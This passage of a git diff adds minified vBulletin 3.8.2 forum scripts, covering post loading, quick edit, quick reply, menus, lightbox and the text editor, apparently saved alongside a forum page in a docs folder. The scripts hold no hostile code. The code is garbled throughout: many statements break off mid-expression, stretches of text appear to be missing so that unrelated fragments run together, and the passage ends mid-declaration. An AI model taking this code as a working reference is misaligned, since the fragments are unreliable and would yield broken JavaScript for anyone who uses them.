is_ns=((userAgent.indexOf("compatible")==-1)&&(userAgent.indexOf("mozilla")!=-1)&&(!is_opera)&&(!is_webtv)&&(!is_saf));var is_ns4=((is_ns)&&(parseInt(navigator.appVersion)==4));var is_mac=(userAgent.indexOf("mac")!=-1);var pointer_cursor=(is_ie?"hand":"pointer");String.prototype.vBlength=function(){return(is_ie&&this.indexOf("\n")!=-1)?this.replace(/\r?\n/g,"_").length:this.length};if("1234".substr(-2,2)=="12"){String.prototype.substr_orig=String.prototype.substr;String.prototype.substr=function(B,A){if(typeof (A)=="undefined"){return this.substr_orig((B<0?this.length+B:B))}else{return this.substr_orig((B<0?this.length+B:B),A)}}}if(typeof Array.prototype.shift==="undefined"){Array.prototype.shift=function(){for(var C=0,A=this[0],B=this.length-1;C2000){break}if((stopindex=PHP.stripos(F,"[/quote]"))!==false){fragment=F.substr(startindex,stopindex-startindex+8);F=F.replace(fragment,"")}else{break}F=PHP.trim(F)}}if(G){F=F.replace(/]+src="([^"]+)"[^>]*>/gi,"$1");var H=new RegExp("<(\\w+)[^>]*>","gi");var E=new RegExp("<\\/\\w+>","gi");F=F.replace(H,"");F=F.replace(E,"");var D=new RegExp("( )","gi");F=F.replace(D," ")}else{var A=new RegExp("\\[(\\w+)(=[^\\]]*)?\\]","gi");var I=new RegExp("\\[\\/(\\w+)\\]","gi");F=F.replace(A,"");F=F.replace(I,"")}return F}function vB_PHP_Emulator(){}vB_PHP_Emulator.prototype.stripos=function(A,B,C){if(typeof C=="undefined"){C=0}index=A.toLowerCase().indexOf(B.toLowerCase(),C);return(index==-1?false:index)};vB_PHP_Emulator.prototype.ltrim=function(A){return A.replace(/^\s+/g,"")};vB_PHP_Emulator.prototype.rtrim=function(A){return A.replace(/(\s+)$/g,"")};vB_PHP_Emulator.prototype.trim=function(A){return this.ltrim(this.rtrim(A))};vB_PHP_Emulator.prototype.preg_quote=function(A){return A.replace(/(\+|\{|\}|\(|\)|\[|\]|\||\/|\?|\^|\$|\\|\.|\=|\!|\<|\>|\:|\*)/g,"\\$1")};vB_PHP_Emulator.prototype.match_all=function(C,E){var A=C.match(RegExp(E,"gim"));if(A){var F=new Array();var B=new RegExp(E,"im");for(var D=0;D",'"',"&");for(var A in C){if(YAHOO.lang.hasOwnProperty(C,A)){D=D.replace(C[A],B[A])}}return D};vB_PHP_Emulator.prototype.unescape_cdata=function(C){var B=/<\=\!\=\[\=C\=D\=A\=T\=A\=\[/g;var A=/\]\=\]\=>/g;return C.replace(B,"")};vB_PHP_Emulator.prototype.htmlspecialchars=function(D){var C=new Array((is_mac&&is_ie?new RegExp("&","g"):new RegExp("&(?!#[0-9]+;)","g")),new RegExp("<","g"),new RegExp(">","g"),new RegExp('"',"g"));var B=new Array("&","<",">",""");for(var A=0;A=128){D=D.replace(B[C],"%u00"+A)}}}D=D.replace("%25","%u0025");return D};vB_PHP_Emulator.prototype.ucfirst=function(D,A){if(typeof A!="undefined"){var B=D.indexOf(A);if(B>0){D=D.substr(0,B)}}D=D.split(" ");for(var C=0;C %s",this.action);document.body.appendChild(this.form).submit()};vB_Hidden_Form.prototype.build_query_string=function(){var B="";for(var A=0;A overlay handler for '%s'.",this.overlay.id)}}vB_Select_Overlay_Handler.prototype.hide=function(){if(this.browser_affected){var C=YAHOO.util.Dom.getRegion(this.overlay);var B=document.getElementsByTagName("select");for(var A=0;A=65&&A<=90&&!C&&!B)||(A>=97&&A<=122&&C)}function log_out(B){var A=document.getElementsByTagName("html")[0];A.style.filter="progid:DXImageTransform.Microsoft.BasicImage(grayscale=1)";if(confirm(B)){return true}else{A.style.filter="";return false}}function set_cookie(B,C,A){console.log("Set Cookie :: %s = '%s'",B,C);document.cookie=B+"="+escape(C)+"; path=/"+(typeof A!="undefined"?"; expires="+A.toGMTString():"")}function delete_cookie(A){console.log("Delete Cookie :: %s",A);document.cookie=A+"=; expires=Thu, 01-Jan-70 00:00:01 GMT; path=/"}function fetch_cookie(A){cookie_name=A+"=";cookie_length=document.cookie.length;cookie_begin=0;while(cookie_beginA.right||B.rightA.bottom||B.bottom0){window.location=vBmenu.menus[vBmenu.activemenu].addr+"&page="+pagenum}return false};vBpagenav.prototype.ibtn_onclick=function(A){return this.form.gotopage()};vBpagenav.prototype.itxt_onkeypress=function(A){return((A?A:window.event).keyCode==13?this.form.gotopage():true)};function vbmenu_register(B,A,C){if(typeof (vBmenu)=="object"){return vBmenu.register(B,A)}else{return false}}function string_to_node(B){var A=document.createElement("div");A.innerHTML=B;var C=A.firstChild;while(C&&C.nodeType!=1){C=C.nextSibling}if(!C){return A.firstChild.cloneNode(true)}else{return C.cloneNode(true)}}function set_unselectable(B){B=YAHOO.util.Dom.get(B);if(!is_ie4&&typeof B.tagName!="undefined"){if(B.hasChildNodes()){for(var A=0;A=A){return true}else{console.warn("Checked status for %d, found %d",A,this.status);return false}};vB_Lightbox.prototype.countdown=function(A){if(!this.active){this.set_status(1,"countdown");this.cursor=YAHOO.util.Dom.getStyle(this.element,"cursor");this.element.style.cursor="wait";this.click_triggered=false;this.timeout=setTimeout("Lightboxes['"+this.uniqueid+"'].load_lightbox();",1500)}};vB_Lightbox.prototype.halt=function(A){if(this.status<2){this.set_status(0,"halt")}clearTimeout(this.timeout);this.element.style.cursor=this.cursor};vB_Lightbox.prototype.image_click=function(A){if(A.ctrlKey||A.shiftKey){return true}this.click_triggered=true;this.load_lightbox(A)};vB_Lightbox.prototype.load_lightbox=function(E){if(this.check_status(0)&&!YAHOO.util.Connect.isCallInProgress(this.ajax_req)){this.set_status(2,"load_lightbox 1");if(Lightbox_current&&Lightbox_current.loader_link){Lightbox_current.img.src=Lightbox_current.loader_link;Lightbox_current.img.width=Lightbox_current.loader_width;Lightbox_current.img.height=Lightbox_current.loader_height;center_element(Lightbox_current.lightbox)}if(E){YAHOO.util.Event.stopEvent(E)}if(this.timeout){clearTimeout(this.timeout);this.element.style.cursor=this.cursor}if(this.html==null){var A=this.element.getAttribute("href");var B=A.substr(A.indexOf("?")+1)+"&securitytoken="+SECURITYTOKEN+"&ajax=1&uniqueid="+this.uniqueid;if(Lightbox_map[this.containerid][this.uniqueid+1]==null){B=B+"&last=1"}if(Lightbox_map[this.containerid][this.uniqueid-1]==null){B=B+"&first=1"}B=B+"&total="+Lightbox_map[this.containerid].size();B=B+"¤t="+(Lightbox_map[this.containerid].find(this.uniqueid)+1);this.show_overlay();try{this.ajax_req=YAHOO.util.Connect.asyncRequest("POST",A,{success:this.handle_ajax_response,failure:this.handle_ajax_error,scope:this,timeout:vB_Default_Timeout},B)}catch(E){var D=A.substr(0,A.indexOf("?"));var C;if(C=D.match(/\/([^/]*attachment\.php)$/)){this.ajax_req=YAHOO.util.Connect.asyncRequest("POST",C[1],{success:this.handle_ajax_response,failure:this.handle_ajax_error,scope:this,timeout:vB_Default_Timeout},B)}else{if(this.click_triggered){window.location=A}}}}else{this.set_status(3,"load_lightbox 2");this.show_lightbox()}}};vB_Lightbox.prototype.handle_ajax_error=function(A){vBulletin_AJAX_Error_Handler(A);if(this.click_triggered){window.location=this.element.getAttribute("href")}};vB_Lightbox.prototype.handle_ajax_response=function(C){if(!this.check_status(2)){return }if(C.responseXML){var E=C.responseXML.getElementsByTagName("error");if(E.length){this.set_status(0,"handle_ajax_response - error");if(E[0].firstChild.nodeValue=="notimage"){console.warn("Attempted to load non-image (.%s) into lightbox. Aborted.",C.responseXML.getElementsByTagName("extension")[0].firstChild.nodeValue)}else{alert(E[0].firstChild.nodeValue.replace(/<(\/|[a-z]+)[^>]+>/g,""))}return false}var B=C.responseXML.getElementsByTagName("link");if(B.length){this.set_status(3,"handle_ajax_response - success");this.show_overlay();this.link=B[0].firstChild.nodeValue;this.imageloader=new Image();YAHOO.util.Event.on(this.imageloader,"load",this.show_lightbox,this,true);var D=new Array("date","time","name","html");for(var A=0;AC.w-this.minborder){A=C.w-this.minborder;A=(AC.h-this.minborder){B=C.h-this.minborder;B=(B=document.body.clientWidth&&(this.leftpx+A.offsetWidth-this.menuobj.offsetWidth)>0){this.leftpx=this.leftpx+A.offsetWidth-this.menuobj.offsetWidth;this.direction="right"}else{this.direction="left"}if(this.controlkey.match(/^pagenav\.\d+$/)){A.appendChild(this.menuobj)}this.menuobj.style.left=this.leftpx+"px";this.menuobj.style.top=this.toppx+"px"};vB_Popup_Menu.prototype.hide=function(A){if(A&&A.button&&A.button!=1){return true}console.log("vBmenu :: Hide '%s'",this.controlkey);this.stop_slide();this.menuobj.style.display="none";this.select_handler.show();if(this.controlobj.editorid){this.controlobj.state=false;vB_Editor[this.controlobj.editorid].menu_context(this.controlobj,"mouseout")}vBmenu.activemenu=null;vBulletin.events["vBmenuHide_"+this.controlkey].fire(this.controlkey);vBulletin.events.vBmenuHide.fire(this.controlkey)};vB_Popup_Menu.prototype.hover=function(A){if(vBmenu.activemenu!=null){if(vBmenu.menus[vBmenu.activemenu].controlkey!=this.id){this.show(A,true)}}};vB_Popup_Menu.prototype.slide=function(C,B,A){if(this.direction=="left"&&(C0||B-1?true:false))}}}function mq_click(F){var D=fetch_cookie("vbulletin_multiquote");var B=new Array();var E=false;if(D!=null&&D!=""){D=D.split(",");for(C in D){if(!YAHOO.lang.hasOwnProperty(D,C)){continue}if(D[C]==F){E=true}else{if(D[C]){B.push(D[C])}}}}change_mq_image(F,(E?false:true));if(!E){B.push(F);if(typeof mqlimit!="undefined"&&mqlimit>0){for(var C=0;C<(B.length-mqlimit);C++){var A=B.shift();change_mq_image(A,false)}}}set_cookie("vbulletin_multiquote",B.join(","));return false}function change_mq_image(C,B){var A=fetch_object("mq_"+C);if(A){if(B==true){A.src=A.src.replace(/\/multiquote_off\.([a-zA-Z0-9]+)$/,"/multiquote_on.$1")}else{A.src=A.src.replace(/\/multiquote_on\.([a-zA-Z0-9]+)$/,"/multiquote_off.$1")}}}mq_init(fetch_object("posts")); \ No newline at end of file diff --git a/docs/radar_developmemt_files/vbulletin_post_loader.js b/docs/radar_developmemt_files/vbulletin_post_loader.js new file mode 100644 index 0000000..40df979 --- /dev/null +++ b/docs/radar_developmemt_files/vbulletin_post_loader.js @@ -0,0 +1,11 @@ +/*======================================================================*\ +|| #################################################################### || +|| # vBulletin 3.8.2 +|| # ---------------------------------------------------------------- # || +|| # Copyright ©2000-2009 Jelsoft Enterprises Ltd. All Rights Reserved. || +|| # This file may not be redistributed in whole or significant part. # || +|| # ---------------- VBULLETIN IS NOT FREE SOFTWARE ---------------- # || +|| # http://www.vbulletin.com | http://www.vbulletin.com/license.html # || +|| #################################################################### || +\*======================================================================*/ +function display_post(A){if(AJAX_Compatible){vB_PostLoader[A]=new vB_AJAX_PostLoader(A);vB_PostLoader[A].init()}else{pc_obj=fetch_object("postcount"+this.postid);openWindow("showpost.php?"+(SESSIONURL?"s="+SESSIONURL:"")+(pc_obj!=null?"&postcount="+PHP.urlencode(pc_obj.name):"")+"&p="+A)}return false}var vB_PostLoader=new Array();function vB_AJAX_PostLoader(A){this.postid=A;this.container=fetch_object("edit"+this.postid)}vB_AJAX_PostLoader.prototype.init=function(){if(this.container){postid=this.postid;pc_obj=fetch_object("postcount"+this.postid);YAHOO.util.Connect.asyncRequest("POST","showpost.php?p="+this.postid,{success:this.display,failure:this.handle_ajax_error,timeout:vB_Default_Timeout,scope:this},SESSIONURL+"securitytoken="+SECURITYTOKEN+"&ajax=1&postid="+this.postid+(pc_obj!=null?"&postcount="+PHP.urlencode(pc_obj.name):""))}};vB_AJAX_PostLoader.prototype.handle_ajax_error=function(A){vBulletin_AJAX_Error_Handler(A)};vB_AJAX_PostLoader.prototype.display=function(A){if(A.responseXML){var B=A.responseXML.getElementsByTagName("postbit");if(B.length){this.container.innerHTML=B[0].firstChild.nodeValue;PostBit_Init(fetch_object("post"+this.postid),this.postid)}else{openWindow("showpost.php?"+(SESSIONURL?"s="+SESSIONURL:"")+(pc_obj!=null?"&postcount="+PHP.urlencode(pc_obj.name):"")+"&p="+this.postid)}}}; \ No newline at end of file diff --git a/docs/radar_developmemt_files/vbulletin_quick_edit.js b/docs/radar_developmemt_files/vbulletin_quick_edit.js new file mode 100644 index 0000000..c6978d4 --- /dev/null +++ b/docs/radar_developmemt_files/vbulletin_quick_edit.js @@ -0,0 +1,11 @@ +/*======================================================================*\ +|| #################################################################### || +|| # vBulletin 3.8.2 +|| # ---------------------------------------------------------------- # || +|| # Copyright ©2000-2009 Jelsoft Enterprises Ltd. All Rights Reserved. || +|| # This file may not be redistributed in whole or significant part. # || +|| # ---------------- VBULLETIN IS NOT FREE SOFTWARE ---------------- # || +|| # http://www.vbulletin.com | http://www.vbulletin.com/license.html # || +|| #################################################################### || +\*======================================================================*/ +function vB_AJAX_QuickEdit_Init(C){if(AJAX_Compatible){if(typeof C=="string"){C=fetch_object(C)}var B=fetch_tags(C,"a");for(var A=0;A0){return true}var B=A.substr(A.lastIndexOf("::")+2);if(YAHOO.util.Connect.isCallInProgress(this.ajax_req)){return false}else{if(!this.ready()){if(this.postid==B){this.full_edit();return false}this.abort()}}this.editorcounter++;this.editorid="vB_Editor_QE_"+this.editorcounter;this.postid=B;this.messageobj=fetch_object("post_message_"+this.postid);this.originalhtml=this.messageobj.innerHTML;this.unchanged=null;this.unchanged_reason=null;this.fetch_editor();this.editstate=true;return false};vB_AJAX_QuickEditor.prototype.fetch_editor=function(){if(fetch_object("progress_"+this.postid)){fetch_object("progress_"+this.postid).style.display=""}document.body.style.cursor="wait";YAHOO.util.Connect.asyncRequest("POST","ajax.php?do=quickedit&p="+this.postid,{success:this.display_editor,failure:this.error_opening_editor,timeout:vB_Default_Timeout,scope:this},SESSIONURL+"securitytoken="+SECURITYTOKEN+"&do=quickedit&p="+this.postid+"&editorid="+PHP.urlencode(this.editorid))};vB_AJAX_QuickEditor.prototype.error_opening_editor=function(A){vBulletin_AJAX_Error_Handler(A);window.location="editpost.php?"+SESSIONURL+"do=editpost&postid="+this.postid};vB_AJAX_QuickEditor.prototype.handle_save_error=function(A){vBulletin_AJAX_Error_Handler(A);this.show_advanced=false;this.full_edit()};vB_AJAX_QuickEditor.prototype.display_editor=function(C){if(C.responseXML){if(fetch_object("progress_"+vB_QuickEditor.postid)){fetch_object("progress_"+vB_QuickEditor.postid).style.display="none"}document.body.style.cursor="auto";if(fetch_tag_count(C.responseXML,"disabled")){window.location="editpost.php?"+SESSIONURL+"do=editpost&postid="+this.postid}else{if(fetch_tag_count(C.responseXML,"error")){}else{var B=fetch_tags(C.responseXML,"editor")[0];if(typeof B=="undefined"){window.location="editpost.php?"+SESSIONURL+"do=editpost&postid="+this.postid;return false}var D=B.getAttribute("reason");this.messageobj.innerHTML=B.firstChild.nodeValue;if(fetch_object(this.editorid+"_edit_reason")){this.unchanged_reason=PHP.unhtmlspecialchars(D);fetch_object(this.editorid+"_edit_reason").value=this.unchanged_reason;fetch_object(this.editorid+"_edit_reason").onkeypress=vB_AJAX_QuickEditor_Events.prototype.reason_key_trap}vB_Editor[this.editorid]=new vB_Text_Editor(this.editorid,B.getAttribute("mode"),B.getAttribute("parsetype"),B.getAttribute("parsesmilies"));if(fetch_object(this.editorid+"_editor")&&fetch_object(this.editorid+"_editor").scrollIntoView){fetch_object(this.editorid+"_editor").scrollIntoView(true)}vB_Editor[this.editorid].set_editor_width("100%",true);vB_Editor[this.editorid].check_focus();this.unchanged=vB_Editor[this.editorid].get_editor_contents();fetch_object(this.editorid+"_save").onclick=this.save;fetch_object(this.editorid+"_abort").onclick=this.abort;fetch_object(this.editorid+"_adv").onclick=this.full_edit;var A=fetch_object(this.editorid+"_delete");if(A){A.onclick=this.show_delete}}}}};vB_AJAX_QuickEditor.prototype.restore=function(B,A){this.hide_errors(true);if(this.editorid&&vB_Editor[this.editorid]&&vB_Editor[this.editorid].initialized){vB_Editor[this.editorid].destroy()}if(A=="tableobj"){fetch_object("edit"+this.postid).innerHTML=B}else{this.messageobj.innerHTML=B}this.editstate=false};vB_AJAX_QuickEditor.prototype.abort=function(A){if(fetch_object("progress_"+vB_QuickEditor.postid)){fetch_object("progress_"+vB_QuickEditor.postid).style.display="none"}document.body.style.cursor="auto";vB_QuickEditor.restore(vB_QuickEditor.originalhtml,"messageobj");PostBit_Init(fetch_object("post"+vB_QuickEditor.postid),vB_QuickEditor.postid)};vB_AJAX_QuickEditor.prototype.full_edit=function(B){var A=new vB_Hidden_Form("editpost.php?do=updatepost&postid="+vB_QuickEditor.postid);A.add_variable("do","updatepost");A.add_variable("s",fetch_sessionhash());A.add_variable("securitytoken",SECURITYTOKEN);if(vB_QuickEditor.show_advanced){A.add_variable("advanced",1)}else{A.add_variable("quickeditnoajax",1)}A.add_variable("postid",vB_QuickEditor.postid);A.add_variable("wysiwyg",vB_Editor[vB_QuickEditor.editorid].wysiwyg_mode);A.add_variable("message",vB_Editor[vB_QuickEditor.editorid].get_editor_contents());A.add_variable("reason",fetch_object(vB_QuickEditor.editorid+"_edit_reason").value);A.submit_form()};vB_AJAX_QuickEditor.prototype.save=function(B){var C=vB_Editor[vB_QuickEditor.editorid].get_editor_contents();var A=vB_Editor[vB_QuickEditor.editorid];if(C==vB_QuickEditor.unchanged&&A==vB_QuickEditor.unchanged_reason){vB_QuickEditor.abort(B)}else{fetch_object(vB_QuickEditor.editorid+"_posting_msg").style.display="";document.body.style.cursor="wait";pc_obj=fetch_object("postcount"+vB_QuickEditor.postid);this.ajax_req=YAHOO.util.Connect.asyncRequest("POST","editpost.php?do=updatepost&postid="+this.postid,{success:vB_QuickEditor.update,failure:vB_QuickEditor.handle_save_error,timeout:vB_Default_Timeout,scope:vB_QuickEditor},SESSIONURL+"securitytoken="+SECURITYTOKEN+"&do=updatepost&ajax=1&postid="+vB_QuickEditor.postid+"&wysiwyg="+vB_Editor[vB_QuickEditor.editorid].wysiwyg_mode+"&message="+PHP.urlencode(C)+"&reason="+PHP.urlencode(fetch_object(vB_QuickEditor.editorid+"_edit_reason").value)+(pc_obj!=null?"&postcount="+PHP.urlencode(pc_obj.name):""));vB_QuickEditor.pending=true}};vB_AJAX_QuickEditor.prototype.show_delete=function(){vB_QuickEditor.deletedialog=fetch_object("quickedit_delete");if(vB_QuickEditor.deletedialog&&vB_QuickEditor.deletedialog.style.display!=""){vB_QuickEditor.deletedialog.style.display="";vB_QuickEditor.deletebutton=fetch_object("quickedit_dodelete");vB_QuickEditor.deletebutton.onclick=vB_QuickEditor.delete_post;if(fetch_object("del_reason")){fetch_object("del_reason").onkeypress=vB_AJAX_QuickEditor_Events.prototype.delete_items_key_trap}if(!is_opera&&!is_saf){vB_QuickEditor.deletebutton.disabled=true;vB_QuickEditor.deleteoptions=new Array();vB_QuickEditor.deleteoptions.leave=fetch_object("rb_del_leave");vB_QuickEditor.deleteoptions.soft=fetch_object("rb_del_soft");vB_QuickEditor.deleteoptions.hard=fetch_object("rb_del_hard");for(var A in vB_QuickEditor.deleteoptions){if(YAHOO.lang.hasOwnProperty(vB_QuickEditor.deleteoptions,A)&&vB_QuickEditor.deleteoptions[A]){vB_QuickEditor.deleteoptions[A].onclick=vB_QuickEditor.deleteoptions[A].onchange=vB_AJAX_QuickEditor_Events.prototype.delete_button_handler;vB_QuickEditor.deleteoptions[A].onkeypress=vB_AJAX_QuickEditor_Events.prototype.delete_items_key_trap}}}}};vB_AJAX_QuickEditor.prototype.delete_post=function(){var A=fetch_object("rb_del_leave");if(A&&A.checked){vB_QuickEditor.abort();return }var B=new vB_Hidden_Form("editpost.php");B.add_variable("do","deletepost");B.add_variable("s",fetch_sessionhash());B.add_variable("securitytoken",SECURITYTOKEN);B.add_variable("postid",vB_QuickEditor.postid);B.add_variables_from_object(vB_QuickEditor.deletedialog);B.submit_form()};vB_AJAX_QuickEditor.prototype.update=function(C){if(C.responseXML){vB_QuickEditor.pending=false;document.body.style.cursor="auto";fetch_object(vB_QuickEditor.editorid+"_posting_msg").style.display="none";if(fetch_tag_count(C.responseXML,"error")){var D=fetch_tags(C.responseXML,"error");var A="
      ";for(var B=0;B"+D[B].firstChild.nodeValue+""}A+="
    ";vB_QuickEditor.show_errors("
      "+A+"
    ")}else{vB_QuickEditor.restore(C.responseXML.getElementsByTagName("postbit")[0].firstChild.nodeValue,"tableobj");PostBit_Init(fetch_object("post"+vB_QuickEditor.postid),vB_QuickEditor.postid)}}return false};vB_AJAX_QuickEditor.prototype.show_errors=function(A){set_unselectable("ajax_post_errors_closebtn");fetch_object("ajax_post_errors_message").innerHTML=A;var B=fetch_object("ajax_post_errors");B.style.width="400px";B.style.zIndex=500;var C=(is_saf?"body":"documentElement");B.style.left=(is_ie?document.documentElement.clientWidth:self.innerWidth)/2-200+document[C].scrollLeft+"px";B.style.top=(is_ie?document.documentElement.clientHeight:self.innerHeight)/2-150+document[C].scrollTop+"px";B.style.display=""};vB_AJAX_QuickEditor.prototype.hide_errors=function(A){this.errors=false;fetch_object("ajax_post_errors").style.display="none";if(A!=true){vB_Editor[this.editorid].check_focus()}};function vB_AJAX_QuickEditor_Events(){}vB_AJAX_QuickEditor_Events.prototype.editbutton_click=function(A){return vB_QuickEditor.edit(this.name)};vB_AJAX_QuickEditor_Events.prototype.delete_button_handler=function(A){if(this.id=="rb_del_leave"&&this.checked){vB_QuickEditor.deletebutton.disabled=true}else{vB_QuickEditor.deletebutton.disabled=false}};vB_AJAX_QuickEditor_Events.prototype.reason_key_trap=function(A){A=A?A:window.event;switch(A.keyCode){case 9:fetch_object(vB_QuickEditor.editorid+"_save").focus();return false;break;case 13:vB_QuickEditor.save();return false;break;default:return true}};vB_AJAX_QuickEditor_Events.prototype.delete_items_key_trap=function(A){A=A?A:window.event;if(A.keyCode==13){if(vB_QuickEditor.deletebutton.disabled==false){vB_QuickEditor.delete_post()}return false}return true};var vB_QuickEditor=new vB_AJAX_QuickEditor(); \ No newline at end of file diff --git a/docs/radar_developmemt_files/vbulletin_quick_reply.js b/docs/radar_developmemt_files/vbulletin_quick_reply.js new file mode 100644 index 0000000..c1935be --- /dev/null +++ b/docs/radar_developmemt_files/vbulletin_quick_reply.js @@ -0,0 +1,11 @@ +/*======================================================================*\ +|| #################################################################### || +|| # vBulletin 3.8.2 +|| # ---------------------------------------------------------------- # || +|| # Copyright ©2000-2009 Jelsoft Enterprises Ltd. All Rights Reserved. || +|| # This file may not be redistributed in whole or significant part. # || +|| # ---------------- VBULLETIN IS NOT FREE SOFTWARE ---------------- # || +|| # http://www.vbulletin.com | http://www.vbulletin.com/license.html # || +|| #################################################################### || +\*======================================================================*/ +var qr_repost=false;var qr_errors_shown=false;var qr_active=false;var qr_ajax=null;var clickedelm=false;function qr_init(){qr_disable_controls();qr_init_buttons(fetch_object("posts"))}function qr_init_buttons(C){var B=fetch_tags(C,"a");for(var A=0;A0){return true}if(is_ie&&userAgent.indexOf("msie 5.")!=-1){if(PHP.urlencode(D.message.value).indexOf("%u")!=-1){return true}}if(YAHOO.util.Connect.isCallInProgress(qr_ajax)){return false}if(clickedelm==D.preview.value){return true}else{var E="ajax=1";if(typeof ajax_last_post!="undefined"){E+="&ajax_lastpost="+PHP.urlencode(ajax_last_post)}for(var C=0;C"+H[D].firstChild.nodeValue+""}F+="";qr_show_errors("
      "+F+"
    ");return false}}qr_resubmit()}}else{qr_resubmit()}}function qr_show_errors(A){qr_errors_shown=true;fetch_object("qr_error_td").innerHTML=A;fetch_object("qr_error_tbody").style.display="";vB_Editor[QR_EditorID].check_focus();return false}function qr_hide_errors(){if(qr_errors_shown){qr_errors_shown=true;fetch_object("qr_error_tbody").style.display="none";return false}}var vB_QuickReply=true; \ No newline at end of file diff --git a/docs/radar_developmemt_files/vbulletin_textedit.js b/docs/radar_developmemt_files/vbulletin_textedit.js new file mode 100644 index 0000000..aa3dc91 --- /dev/null +++ b/docs/radar_developmemt_files/vbulletin_textedit.js @@ -0,0 +1,11 @@ +/*======================================================================*\ +|| #################################################################### || +|| # vBulletin 3.8.2 +|| # ---------------------------------------------------------------- # || +|| # Copyright ©2000-2009 Jelsoft Enterprises Ltd. All Rights Reserved. || +|| # This file may not be redistributed in whole or significant part. # || +|| # ---------------- VBULLETIN IS NOT FREE SOFTWARE ---------------- # || +|| # http://www.vbulletin.com | http://www.vbulletin.com/license.html # || +|| #################################################################### || +\*======================================================================*/ +function vB_Text_Editor(editorid,mode,parsetype,parsesmilies,initial_text,ajax_extra){this.editorid=editorid;this.wysiwyg_mode=parseInt(mode,10)?1:0;this.initialized=false;this.parsetype=(typeof parsetype=="undefined"?"nonforum":parsetype);this.ajax_extra=(typeof parsetype=="undefined"?"":ajax_extra);this.parsesmilies=(typeof parsesmilies=="undefined"?1:parsesmilies);this.popupmode=(typeof vBmenu=="undefined"?false:true);this.controlbar=fetch_object(this.editorid+"_controls");this.textobj=fetch_object(this.editorid+"_textarea");this.buttons=new Array();this.popups=new Array();this.prompt_popup=null;this.fontstate=null;this.sizestate=null;this.colorstate=null;this.clipboard="";this.disabled=false;this.history=new vB_History();this.influx=0;this.allowbasicbbcode=((typeof allowbasicbbcode!="undefined"&&allowbasicbbcode)?true:false);this.ltr=((typeof ltr!="undefined"&<r=="right")?"right":"left");this.init=function(){if(this.initialized){return }this.textobj.disabled=false;if(this.tempiframe){this.tempiframe.parentNode.removeChild(this.tempiframe)}this.set_editor_contents(initial_text);this.set_editor_functions();this.init_controls();this.init_smilies(fetch_object(this.editorid+"_smiliebox"));if(typeof smilie_window!="undefined"&&!smilie_window.closed){this.init_smilies(smilie_window.document.getElementById("smilietable"))}this.captcha=document.getElementById("imagestamp");if(this.captcha!=null){this.captcha.setAttribute("tabIndex",1)}this.initialized=true};this.check_focus=function(){if(!this.editwin.hasfocus||(is_moz&&is_mac)){this.editwin.focus();if(is_opera){this.editwin.focus()}}};this.init_controls=function(){var controls=new Array();var i,j,buttons,imgs,control;if(this.controlbar==null){return }buttons=fetch_tags(this.controlbar,"div");for(i=0;i10?(fontoptions[i].substr(0,10)+"..."):fontoptions[i]);sel.add(opt,is_ie?sel.options.length:null)}sel.onchange=vB_Text_Editor_Events.prototype.formatting_select_onchange;break;case"fontsize":for(i=0;i5?(coloroptions[i].substr(0,5)+"..."):coloroptions[i]).replace(new RegExp("([A-Z])","g")," $1"));opt.style.backgroundColor=i;sel.add(opt,is_ie?sel.options.length:null)}}sel.onchange=vB_Text_Editor_Events.prototype.formatting_select_onchange;break;case"smilie":for(var cat in smilieoptions){if(!YAHOO.lang.hasOwnProperty(smilieoptions,cat)){continue}for(var smilieid in smilieoptions[cat]){if(!YAHOO.lang.hasOwnProperty(smilieoptions[cat],smilieid)){continue}if(smilieid!="more"){opt=document.createElement("option");opt.value=smilieoptions[cat][smilieid][1];opt.text=smilieoptions[cat][smilieid][1];opt.smilieid=smilieid;opt.smiliepath=smilieoptions[cat][smilieid][0];opt.smilietitle=smilieoptions[cat][smilieid][2];sel.add(opt,is_ie?sel.options.length:null)}}}sel.onchange=vB_Text_Editor_Events.prototype.smilieselect_onchange;break;case"attach":sel.onmouseover=vB_Text_Editor_Events.prototype.attachselect_onmouseover;sel.onchange=vB_Text_Editor_Events.prototype.attachselect_onchange;break}while(obj.hasChildNodes()){obj.removeChild(obj.firstChild)}this.buttons[obj.cmd]=obj.appendChild(sel)};this.init_popup_menu=function(obj){if(this.disabled){return false}var menu;switch(obj.cmd){case"fontname":menu=this.init_menu_container("fontname","200px","250px","auto");this.build_fontname_popup(obj,menu);break;case"fontsize":menu=this.init_menu_container("fontsize","auto","auto","visible");this.build_fontsize_popup(obj,menu);break;case"forecolor":menu=this.init_menu_container("forecolor","auto","auto","visible");this.build_forecolor_popup(obj,menu);break;case"smilie":menu=this.init_menu_container("smilie","175px","250px","auto");this.build_smilie_popup(obj,menu);break;case"attach":if(typeof vB_Attachments!="undefined"&&vB_Attachments.has_attachments()){menu=this.init_menu_container("attach","auto","auto","visible");this.build_attachments_popup(menu,obj)}else{fetch_object("manage_attachments_button").onclick();return false}}this.popups[obj.cmd]=this.controlbar.appendChild(menu);set_unselectable(menu);return true};this.init_menu_container=function(cmd,width,height,overflow){var menu=document.createElement("div");menu.id=this.editorid+"_popup_"+cmd+"_menu";menu.className="vbmenu_popup";menu.style.display="none";menu.style.cursor="default";menu.style.padding="3px";menu.style.width=width;menu.style.height=height;menu.style.overflow=overflow;return menu};this.build_fontname_popup=function(obj,menu){for(var n in fontoptions){if(YAHOO.lang.hasOwnProperty(fontoptions,n)){var option=document.createElement("div");option.innerHTML=''+fontoptions[n]+"";option.className="ofont";option.style.textAlign="left";option.title=fontoptions[n];option.cmd=obj.cmd;option.controlkey=obj.id;option.editorid=this.editorid;option.onmouseover=option.onmouseout=option.onmouseup=option.onmousedown=vB_Text_Editor_Events.prototype.menuoption_onmouseevent;option.onclick=vB_Text_Editor_Events.prototype.formatting_option_onclick;menu.appendChild(option)}}};this.build_fontsize_popup=function(obj,menu){for(var n in sizeoptions){if(YAHOO.lang.hasOwnProperty(sizeoptions,n)){var option=document.createElement("div");option.innerHTML=''+sizeoptions[n]+"";option.className="osize";option.style.textAlign="center";option.title=sizeoptions[n];option.cmd=obj.cmd;option.controlkey=obj.id;option.editorid=this.editorid;option.onmouseover=option.onmouseout=option.onmouseup=option.onmousedown=vB_Text_Editor_Events.prototype.menuoption_onmouseevent;option.onclick=vB_Text_Editor_Events.prototype.formatting_option_onclick;menu.appendChild(option)}}};this.build_forecolor_popup=function(obj,menu){var colorout=fetch_object(this.editorid+"_color_out");colorout.editorid=this.editorid;colorout.onclick=vB_Text_Editor_Events.prototype.colorout_onclick;var table=document.createElement("table");table.cellPadding=0;table.cellSpacing=0;table.border=0;var i=0;for(var hex in coloroptions){if(!YAHOO.lang.hasOwnProperty(coloroptions,hex)){continue}if(i%8==0){var tr=table.insertRow(-1)}i++;var 